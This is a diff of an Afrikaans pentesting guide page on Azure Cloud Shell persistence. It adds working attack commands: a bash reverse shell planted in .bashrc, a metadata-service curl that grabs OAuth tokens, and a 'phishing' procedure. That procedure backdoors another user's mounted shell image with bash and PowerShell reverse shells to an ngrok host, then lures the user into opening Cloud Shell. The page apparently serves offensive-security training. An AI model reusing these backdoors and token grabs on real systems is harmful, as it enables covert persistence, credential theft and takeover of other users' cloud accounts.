diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index bae74e91a..9916738c7 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -4,19 +4,56 @@ ## Cloud Shell Persistence -Azure Cloud Shell bied opdraglyn toegang om Azure hulpbronne te bestuur met volhoubare stoorplek en outomatiese verifikasie. Aanvallers kan dit misbruik deur agterdeure in die volhoubare huisgids te plaas: +Azure Cloud Shell bied opdraglyn toegang om Azure hulpbronne te bestuur met volhoubare stoor en outomatiese verifikasie. Aanvallers kan dit benut deur agterdeure in die volhoubare tuisgids te plaas: -* **Volhoubare Stoorplek**: Azure Cloud Shell se huisgids is op 'n Azure lêerdeel gemonteer en bly ongeskonde selfs nadat die sessie eindig. -* **Opstart Skripte**: Lêers soos .bashrc voer outomaties uit aan die begin van elke sessie, wat volhoubare uitvoering moontlik maak wanneer die cloud shell begin. +* **Volhoubare Stoor**: Azure Cloud Shell se tuisgids is op 'n Azure lêerdeel gemonteer en bly ongeskonde selfs nadat die sessie eindig. +* **Opstart Skripte**: Lêers soos `.bashrc` of `config/PowerShell/Microsoft.PowerShell_profile.ps1` voer outomaties uit aan die begin van elke sessie, wat volhoubare uitvoering moontlik maak wanneer die cloud shell begin. Voorbeeld agterdeur in .bashrc: ```bash -echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc +echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` Hierdie agterdeur kan opdragte uitvoer selfs 5 minute nadat die wolkskulp deur die gebruiker voltooi is. -Verder kan jy Azure se metadata-diens vir instansiedetails en tokens raadpleeg: +Vra ook Azure se metadata-diens vir instansiedetails en tokens: ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` +### Cloud Shell Phishing + +As 'n aanvaller ander gebruikers se beelde in 'n Stoorrekening vind waartoe hy skryf- en leestoegang het, sal hy in staat wees om die beeld af te laai, **'n bash en PS agterdeur daarin te voeg**, en dit terug te laai na die Stoorrekening sodat die volgende keer wanneer die gebruiker die skulp toegang, die **opdragte outomaties uitgevoer sal word**. + +- **Laai af, agterdeur en laai die beeld op:** +```bash +# Download image +mkdir /tmp/phishing_img +az storage file download-batch -d /tmp/phishing_img --account-name -s + +# Mount the image +mkdir /tmp/backdoor_img +sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img +cd /tmp/backdoor_img + +# Create backdoor +mkdir .config +mkdir .config/PowerShell +touch .config/PowerShell/Microsoft.PowerShell_profile.ps1 +chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Bash backdoor +echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc + +# PS backdoor +echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Unmount +cd /tmp +sudo umount /tmp/backdoor_img + +# Upload image +az storage file upload --account-name --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s +``` +- **Dan, phish die gebruiker om toegang te verkry tot https://shell.azure.com/** + + {{#include ../../../banners/hacktricks-training.md}}